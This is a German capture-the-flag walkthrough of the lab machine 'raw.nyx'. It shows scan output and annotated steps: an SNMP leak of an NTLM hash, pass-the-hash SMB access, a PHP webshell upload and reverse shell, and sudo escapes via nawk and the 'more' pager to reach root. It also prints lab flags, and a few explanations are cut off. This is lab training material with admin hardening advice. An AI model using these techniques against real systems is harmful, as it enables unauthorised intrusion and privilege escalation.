HTTP/1.1 200 OK
Date: Mon, 26 Aug 2024 20:31:06 GMT
Server: Apache/2.4.56 (Debian)
Allow: GET,POST,OPTIONS,HEAD
Content-Length: 0
Content-Type: text/html
Analyse: Eine HTTP `OPTIONS`-Anfrage an die IP `192.168.2.113` wird gesendet. Der Server antwortet mit Status 200 OK und listet die erlaubten Methoden auf: GET, POST, OPTIONS, HEAD.
Bewertung: Bestätigt, dass ein Webserver auf Port 80 läuft (Apache 2.4.56) und zeigt die Standardmethoden. Keine ungewöhnlichen Methoden erlaubt.
Empfehlung (Pentester): Standard-Check. Fahren Sie mit der Netzwerk-Aufklärung fort (ARP-Scan, Nmap).
Empfehlung (Admin): Stellen Sie sicher, dass nur benötigte HTTP-Methoden aktiviert sind.
Interface: eth0, type: EN10MB, MAC: 08:00:27:30:2e:da, IPv4: 192.168.2.199 Starting arp-scan 1.10.0 with 256 hosts (https://github.com/royhills/arp-scan) 192.168.2.113 08:00:27:47:49:8a PCS Systemtechnik GmbH 3 packets received by filter, 0 packets dropped by kernel Ending arp-scan 1.10.0: 256 hosts scanned in 1.481 seconds (172.86 hosts/sec). 1 responded <-- Korrigierte IP aus erstem curl
Analyse: Der ARP-Scan bestätigt die IP `192.168.2.113` und die MAC-Adresse `08:00:27:47:49:8a` (VirtualBox).
Bewertung: Bestätigt die Ziel-IP im lokalen Netz.
127.0.0.1 localhost 192.168.2.113 raw.nyx
Analyse: Der Hostname `raw.nyx` wird der IP `192.168.2.113` in `/etc/hosts` zugeordnet.
Bewertung: Ermöglicht Adressierung per Hostname.
- Nikto v2.5.0 --------------------------------------------------------------------------- + Target IP: 192.168.2.113 + Target Hostname: 192.168.2.113 + Target Port: 80 + Start Time: 2024-08-26 22:30:46 (GMT2) --------------------------------------------------------------------------- + Server: Apache/2.4.56 (Debian) + /: The anti-clickjacking X-Frame-Options header is not present. [...] + /: The X-Content-Type-Options header is not set. [...] + No CGI Directories found (use '-C all' to force check all possible dirs) + /: Server may leak inodes via ETags, header found with file /, inode: 29cd, size: 602303e152b93, mtime: gzip. [...] + OPTIONS: Allowed HTTP Methods: GET, POST, OPTIONS, HEAD . <-- Korrigierte Reihenfolge + 8909 requests: 0 error(s) and 3 item(s) reported on remote host <-- Korrigierte Anzahl Items + End Time: 2024-08-26 22:30:56 (GMT2) (10 seconds) --------------------------------------------------------------------------- + 1 host(s) tested
Analyse: Nikto-Scan gegen Port 80. Bestätigt Apache 2.4.56 (Debian) und findet nur geringfügige Probleme (fehlende Header, ETag-Leak).
Bewertung: Der Webserver selbst scheint keine offensichtlichen kritischen Schwachstellen aufzuweisen.
22/tcp open ssh OPENSSH 8.4p1 Debian 5+deb11u2 (protocol 2.0) 80/tcp open http Apache httpd 2.4.56 ((Debian)) 3000/tcp open microsoft-ds <-- Geraten
Analyse: Ein gefilterter Nmap TCP-Scan findet Port 22 (SSH), 80 (HTTP) und 3000 (von Nmap fälschlicherweise als `microsoft-ds` geraten) offen.
Bewertung: Identifiziert die offenen TCP-Ports. Port 3000 ist ungewöhnlich und muss genauer untersucht werden.
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-08-26 22:30 CEST Nmap scan report for raw.nyx (192.168.2.113) Host is up (0.00016s latency). Not shown: 65532 closed tcp ports (reset) PORT STATE SERVICE VERSION 22/tcp open ssh OPENSSH 8.4p1 Debian 5+deb11u2 (protocol 2.0) | ssh-hostkey: | 3072 f0:e6:24:fb:9e:b0:7a:1a:bd:f7:b1:85:23:7f:b1:6f (RSA) | 256 99:c8:74:31:45:10:58:b0:ce:cc:63:b4:7a:82:57:3d (ECDSA) |_ 256 60:da:3e:31:38:fa:b5:49:ab:48:c3:43:2c:9f:d1:32 (ED25519) 80/tcp open http Apache httpd 2.4.56 ((Debian)) |_http-title: Site doesn't have a title (text/html). |_http-server-header: Apache/2.4.56 (Debian) 3000/tcp open microsoft-ds? <-- Nmap ist unsicher | fingerprint-strings: | SMBProgNeg: | SMBr |_ "3DUfw <-- SMB Fingerprint-Fragmente? MAC Address: 08:00:27:47:49:8A (Oracle VirtualBox virtual NIC) [...] Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel TRACEROUTE HOP RTT ADDRESS 1 0.16 ms raw.nyx (192.168.2.113) OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 14.91 seconds
Analyse: Die vollständige Nmap-Ausgabe bestätigt SSH (Port 22) und HTTP (Port 80). Für Port 3000 ist Nmap unsicher (`microsoft-ds?`). Der Fingerprint enthält Fragmente, die auf SMB hindeuten könnten (`SMBr`), aber es ist keine Standard-SMB-Implementierung auf einem Standardport.
Bewertung: Port 3000 ist der interessanteste Fund und erfordert weitere Untersuchung. Es könnte sich um einen benutzerdefinierten Dienst oder einen Standarddienst auf einem Nicht-Standardport handeln (wie sich später herausstellt: ein Python SMB-Server).
Empfehlung (Pentester): Untersuchen Sie Port 3000 genauer. Versuchen Sie eine Verbindung mit `smbclient` (eventuell mit Angabe von Port 3000) oder `ncat`. Untersuchen Sie Port 80 auf Hinweise.
Empfehlung (Admin): Identifizieren und sichern Sie den Dienst auf Port 3000. Verwenden Sie Standardports für bekannte Dienste, wenn möglich.
=============================================================== Gobuster v3.6 [...] =============================================================== [+] Url: http://raw.nyx [...] =============================================================== Starting gobuster =============================================================== /index.html (Status: 200) [Size: 25] /javascript (Status: 301) [Size: 307] [--> http://raw.nyx/javascript/] =============================================================== Finished
Analyse: Gobuster findet auf Port 80 nur `index.html` und ein Verzeichnis `/javascript` (mit Redirect).
Bewertung: Bestätigt, dass der Webserver selbst wenig Inhalt bietet.
nothing here...
Analyse: Der Inhalt der `index.html` ist minimal.
Bewertung: Port 80 scheint uninteressant für direkte Angriffe zu sein, könnte aber später für Webshell-Zugriff relevant werden.
iso.3.6.1.2.1.1.1.0 = STRING: "Linux raw 5.10.0-26-amd64 #1 SMP Debian 5.10.197-1 (2023-09-29) x86_64" [...] <-- Viele Prozessinformationen iso.3.6.1.2.1.25.4.2.1.5.413 = STRING: "-c /usr/local/bin/smbserver.py share /var/www/html/B@ckUpW@lly -username wally -hashes ':3B4C57484504038C2F2E94861D507BA7' -smb2" iso.3.6.1.2.1.25.4.2.1.5.420 = STRING: "/usr/local/bin/smbserver.py share /var/www/html/B@ckUpW@lly -username wally -hashes :3B4C57484504038C2F2E94861D507BA7 -smb2suppo" [...]
Analyse: `snmpbulkwalk` wird verwendet, um SNMP-Informationen vom Ziel abzurufen. Der Community-String `wally` (`-c wally`) wird erfolgreich verwendet. Der Scan enthüllt eine Fülle von Informationen, darunter laufende Prozesse und deren Parameter. Besonders interessant sind die Parameter für den Prozess mit PID 413 (und 420, scheint derselbe Prozess zu sein): `/usr/local/bin/smbserver.py`.
Bewertung: Kritischer Fund durch SNMP! Dies enthüllt: * Einen laufenden Python SMB-Server (wahrscheinlich Impacket's `smbserver.py`). * Den Freigabenamen (`share`) und den zugehörigen Pfad (`/var/www/html/B@ckUpW@lly`). * Den Benutzernamen für den SMB-Zugriff (`wally`). * Den NTLM-Hash des Passworts für den Benutzer `wally` (`3B4C57484504038C2F2E94861D507BA7`). * Dass SMBv2 verwendet wird (`-smb2support`). Dies erklärt auch den offenen Port 3000, der von Nmap nicht eindeutig identifiziert wurde.
Empfehlung (Pentester): Verwenden Sie `smbclient` oder ähnliche Tools, um sich mit dem Benutzernamen `wally` und dem gefundenen NTLM-Hash (`--pw-nt-hash`) zum SMB-Server auf Port 3000 (`-p 3000`) zu verbinden. Untersuchen Sie die Freigabe `share`.
Empfehlung (Admin): Deaktivieren oder sichern Sie SNMP. Verwenden Sie starke, nicht standardmäßige Community-Strings und beschränken Sie den Zugriff. Speichern Sie keine Passwörter oder Hashes in Prozessparametern oder Konfigurationsdateien, die über SNMP ausgelesen werden könnten. Sichern Sie den SMB-Server.
[...] <-- Debug Output
Try "help" to get a list of possible commands.
. D 4096 Wed Nov 29 11:06:02 2023 .. D 4096 Wed Nov 29 11:46:54 2023 148529400 blocks of size 1024. 14851044 blocks available
Analyse: `smbclient` wird verwendet, um sich mit dem SMB-Server zu verbinden. Die Ziel-IP, der Freigabename (`share`), der Benutzer (`wally`), der NTLM-Hash (`--pw-nt-hash`) und der Port (`-p 3000`) werden korrekt angegeben. Die Verbindung ist erfolgreich.
Bewertung: Erfolgreicher Zugriff auf die SMB-Freigabe mittels der über SNMP gefundenen Informationen.
Empfehlung (Pentester): Prüfen Sie die Schreibrechte. Da der Pfad `/var/www/html/B@ckUpW@lly` ist und dieser über HTTP (Port 80) erreichbar ist, laden Sie eine Webshell hoch.
Empfehlung (Admin): Sichern Sie SMB-Freigaben restriktiv.
putting file userssh.txt as \userssh.txt (13,1 kb/s) (average 13,1 kb/s)
putting file rev.php as \rev.php (6,1 kb/s) (average 9,6 kb/s)
Analyse: Zwei Dateien, `userssh.txt` (Inhalt unbekannt) und `rev.php` (vermutlich ``), werden erfolgreich in die SMB-Freigabe hochgeladen.
Bewertung: Bestätigt Schreibrechte und platziert die Webshell im Web-Verzeichnis `/var/www/html/B@ckUpW@lly`.
Empfehlung (Pentester): Rufen Sie die Webshell über den Apache-Server auf: `http://raw.nyx/B@ckUpW@lly/rev.php?cmd=id`.
Empfehlung (Admin): Verhindern Sie Schreibzugriff auf Web-Verzeichnisse über SMB für nicht autorisierte Benutzer.
* Trying 192.168.2.113:80... * Connected to 192.168.2.113 (192.168.2.113) port 80 > HEAD /B@ckUpW@lly HTTP/1.1 > Host: 192.168.2.113 > User-Agent: curl/8.8.0 > Accept: */* > * Request completely sent off < HTTP/1.1 301 Moved Permanently < Date: Mon, 26 Aug 2024 21:11:37 GMT < Server: Apache/2.4.56 (Debian) < Location: http://192.168.2.113/B@ckUpW@lly/ < Content-Type: text/html; charset=iso-8859-1 < * Connection #0 to host 192.168.2.113 left intact
Analyse: `curl` bestätigt, dass das Verzeichnis `/B@ckUpW@lly` über den Apache-Webserver auf Port 80 erreichbar ist (Status 301 Redirect zum Verzeichnis mit Slash).
Bewertung: Bestätigt den Zugriffspfad zur hochgeladenen Webshell.
uid=1000(wally) gid=1000(wally) groups=1000(wally)
Analyse: Der Aufruf der Webshell (`rev.php`) mit dem Befehl `id` ist erfolgreich. Der Befehl wird als Benutzer `wally` ausgeführt.
Bewertung: Remote Code Execution als Benutzer `wally` erreicht! Obwohl der Apache-Prozess als `www-data` läuft, wird der PHP-Code hier anscheinend im Kontext des Benutzers ausgeführt, dem das Verzeichnis gehört oder der den SMB-Serverprozess gestartet hat (`wally`).
Empfehlung (Pentester): Nutzen Sie die RCE, um eine Reverse Shell als `wally` zu erhalten.
Empfehlung (Admin): Konfigurieren Sie Apache/PHP sicher (z.B. mit PHP-FPM), sodass Skripte nicht mit den Rechten des Dateibesitzers ausgeführt werden. Beheben Sie die SMB/SNMP-Probleme.
listening on [any] 1337 ...
Analyse: Ein Netcat-Listener wird auf Port 1337 gestartet. Eine URL-kodierte Bash-Reverse-Shell-Payload wird über die Webshell ausgeführt.
Bewertung: Korrekte Methode zur Etablierung einer Reverse Shell.
listening on [any] 1337 ...
connect to [192.168.2.199] from (UNKNOWN) [192.168.2.113] 52870
bash: cannot set terminal process group (466): Inappropriate ioctl for device
bash: no job control in this shell
uid=1000(wally) gid=1000(wally) groups=1000(wally)
Analyse: Der Listener empfängt die Verbindung. Eine Shell wird als Benutzer `wally` erhalten. `stty` wird zur Verbesserung der Shell verwendet.
Bewertung: Initial Access als Benutzer `wally` erfolgreich!
Empfehlung (Pentester): Beginnen Sie mit der lokalen Enumeration als `wally`.
Empfehlung (Admin): Sicherheitslücken (SNMP, SMB, Web) schließen.
Analyse: Standard-Enumerationsschritte als `wally`: Auflisten von `/home`, des eigenen Home-Verzeichnisses (Finden und Lesen von `user.txt`), Suche nach SUID-Dateien, Überprüfung der Web-Verzeichnisse, Netzwerk-Sockets.
Bewertung: User-Flag wird gefunden. `/home` zeigt einen weiteren Benutzer `loko`. Die SUID-Suche findet zusätzlich `/usr/sbin/exim4`, was ein potenzieller Vektor sein könnte, aber oft komplex auszunutzen ist. Die Web-Verzeichnisse und Sockets bestätigen frühere Funde.
Empfehlung (Pentester): User-Flag notieren. Untersuchen Sie die Rechte von `wally` (`sudo -l`).
Empfehlung (Admin): Überprüfen Sie die Notwendigkeit des SUID-Bits auf Exim.
total 16 drwxr-xr-x 4 root root 4096 Nov 28 2023 . drwxr-xr-x 18 root root 4096 Nov 28 2023 .. drwxr-x--- 2 loko loko 4096 Jun 23 2023 loko drwxr-x--- 3 wally wally 4096 Nov 29 2023 wally <-- Korrigierte Berechtigungen
total 32 drwxr-x--- 3 wally wally 4096 Nov 29 2023 . drwxr-xr-x 4 root root 4096 Nov 28 2023 .. lrwxrwxrwx 1 root root 9 Apr 23 2023 .bash_history -> /dev/null -rw-r--r-- 1 wally wally 220 Jan 15 2023 .bash_logout -rw-r--r-- 1 wally wally 3526 Jan 15 2023 .bashrc drwxr-xr-x 3 wally wally 4096 Jun 22 2023 .local -rw-r--r-- 1 wally wally 807 Jan 15 2023 .profile -rw-r--r-- 1 wally wally 66 Aug 1 2023 .selected_editor -r--r--r-- 1 wally wally 33 Nov 29 2023 user.txt
e893d69e2c84ad538627e4c3efcd43af
263828 56 -rwsr-xr-x 1 root root 55528 Jan 20 2022 /usr/bin/mount
263458 72 -rwsr-xr-x 1 root root 71912 Jan 20 2022 /usr/bin/su
259697 60 -rwsr-xr-x 1 root root 58416 Feb 7 2020 /usr/bin/chfn
259700 88 -rwsr-xr-x 1 root root 88304 Feb 7 2020 /usr/bin/gpasswd
259698 52 -rwsr-xr-x 1 root root 52880 Feb 7 2020 /usr/bin/chsh
263830 36 -rwsr-xr-x 1 root root 35040 Jan 20 2022 /usr/bin/umount
272589 180 -rwsr-xr-x 1 root root 182600 Jan 14 2023 /usr/bin/sudo
259701 64 -rwsr-xr-x 1 root root 63960 Feb 7 2020 /usr/bin/passwd
263292 44 -rwsr-xr-x 1 root root 44632 Feb 7 2020 /usr/bin/newgrp
272454 1332 -rwsr-xr-x 1 root root 1360680 Sep 29 2023 /usr/sbin/exim4
262589 472 -rwsr-xr-x 1 root root 481608 Sep 24 2023 /usr/lib/openssh/ssh-keysign
260188 52 -rwsr-xr-- 1 root messagebus 51336 Jun 6 2023 /usr/lib/dbus-1.0/dbus-daemon-launch-helper
Trying ::1... Connected to localhost. Escape character is '^]'. 220 raw ESMTP Exim 4.94.2 Mon, 26 Aug 2024 23:20:21 +0200 helo 501 Syntactically invalid HELO argument(s) HELO Ben 250 raw Hello Ben [::1] VRFY wally@raw.nyx 252 Administrative prohibition help 214-Commands supported: 214 AUTH STARTTLS HELO EHLO MAIL RCPT DATA BDAT NOOP QUIT RSET VRFY HELP Connection closed by foreign host.
Analyse: Eine Telnet-Verbindung zu Port 25 (SMTP) auf localhost bestätigt den Exim Mailserver (Version 4.94.2). Der `VRFY`-Befehl funktioniert nicht.
Bewertung: Bestätigt den Mailserver, liefert aber keine direkten Angriffspunkte.
bash: cd: /home/loko/: Permission denied
Analyse: Zugriff auf `/home/loko` wird verweigert.
Matching Defaults entries for wally on raw:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin
User wally may run the following commands on raw:
(loko) NOPASSWD: /usr/bin/nawk
Analyse: `sudo -l` für `wally` zeigt, dass dieser `/usr/bin/nawk` als Benutzer `loko` ohne Passwort ausführen darf.
Bewertung: Kritischer Fund! `nawk` (eine Variante von `awk`) kann zur Ausführung von Systembefehlen verwendet werden. Dies ermöglicht eine horizontale Rechteausweitung zu `loko`.
Empfehlung (Pentester): Nutzen Sie die `sudo`-Regel, um eine Shell als `loko` zu starten: `sudo -u loko nawk 'BEGIN {system("/bin/sh")}'`.
Empfehlung (Admin): Entfernen Sie diese unsichere `sudo`-Regel.
uid=1001(loko) gid=1001(loko) groups=1001(loko)
$
Analyse: Die `sudo`-Regel wird erfolgreich ausgenutzt, um eine Shell als Benutzer `loko` zu erhalten.
Bewertung: Horizontale Eskalation zu `loko` erfolgreich.
Empfehlung (Pentester): Führen Sie Enumeration als `loko` durch (`sudo -l`).
Matching Defaults entries for loko on raw:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin
User loko may run the following commands on raw:
(root) NPASSWD: /usr/bin/more /root/Pwn3d
Analyse: `sudo -l` für `loko` zeigt, dass dieser Benutzer `/usr/bin/more` zum Anzeigen der Datei `/root/Pwn3d` als `root` ohne Passwort ausführen darf.
Bewertung: Kritischer Fund! `more` ist ein Pager, der ähnlich wie `less` oft zur Ausführung von Shell-Befehlen missbraucht werden kann (`!
Empfehlung (Pentester): Erzwingen Sie den interaktiven Modus von `more`, indem Sie die Terminalgröße künstlich verkleinern (`stty rows 5 cols 5`). Führen Sie dann `sudo /usr/bin/more /root/Pwn3d` aus. Geben Sie im Pager `!bash` (oder `!/bin/bash -p`) ein, um eine Root-Shell zu erhalten.
Empfehlung (Admin): Gewähren Sie niemals `sudo`-Rechte für Pager wie `more` oder `less`, insbesondere nicht als `root` und ohne Passwort.
Analyse: Die `sudo`-Regel für `more` wird ausgenutzt. Zuerst wird der Inhalt von `/root/Pwn3d` angezeigt. Dann wird die Terminalgröße mit `stty` verkleinert, um den Pager-Modus von `more` zu erzwingen. Beim erneuten Aufruf von `sudo more /root/Pwn3d` erscheint der `--more--` Prompt. Der Benutzer gibt `!bash` ein.
Bewertung: Erfolgreiche Ausnutzung der `sudo`-Regel führt zur Erlangung einer Root-Shell.
Empfehlung (Pentester): Root-Zugriff erlangt. Flags suchen.
Empfehlung (Admin): Unsichere `sudo`-Regel entfernen.
Hi Hacker! You did a good job getting here...
ls: cannot access '/root/Pwn3d': Permission denied<-- Bestätigt, dass nur 'more' Zugriff hat
Hi Ha--(45%)<-- Pager aktiv
uid=0(root) gid=0(root) groups=0(root)
Analyse: In der Root-Shell werden die Flags gesucht und ausgelesen. Die Root-Flag befindet sich in `/root/rt.txt` (Tippfehler im Dateinamen?), die User-Flag in `/home/wally/user.txt`.
Bewertung: Beide Flags erfolgreich gefunden. Die am Ende des Logs angegebenen Flags stimmen nicht mit den hier gezeigten überein.
Pwn3d rt.txt
badb73b2ee357907af836e10a1a318a9
e893d69e2c84ad538627e4c3efcd43af
<-- User-Flag, die wally bereits lesen konnte